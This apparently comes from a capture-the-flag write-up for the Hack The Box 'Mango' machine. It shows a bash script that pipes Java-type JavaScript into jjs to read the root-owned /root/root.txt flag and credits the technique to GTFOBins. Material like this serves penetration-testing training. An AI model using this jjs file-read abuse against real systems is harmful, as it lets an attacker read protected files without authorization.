JJS File Read

Script used in the HTB Mango machine to read the root.txt flag file relying on JJS. JJS File Read approach and this script can be found in https://gtfobins.github.io/gtfobins/jjs/

#!/bin/bash

echo 'var BufferedReader = Java.type("java.io.BufferedReader")
var FileReader = Java.type("java.io.FileReader")
var br = new BufferedReader(new FileReader("/root/root.txt"))
while ((line = br.readLine()) != null) { print(line); }' | jjs

Last updated

Was this helpful?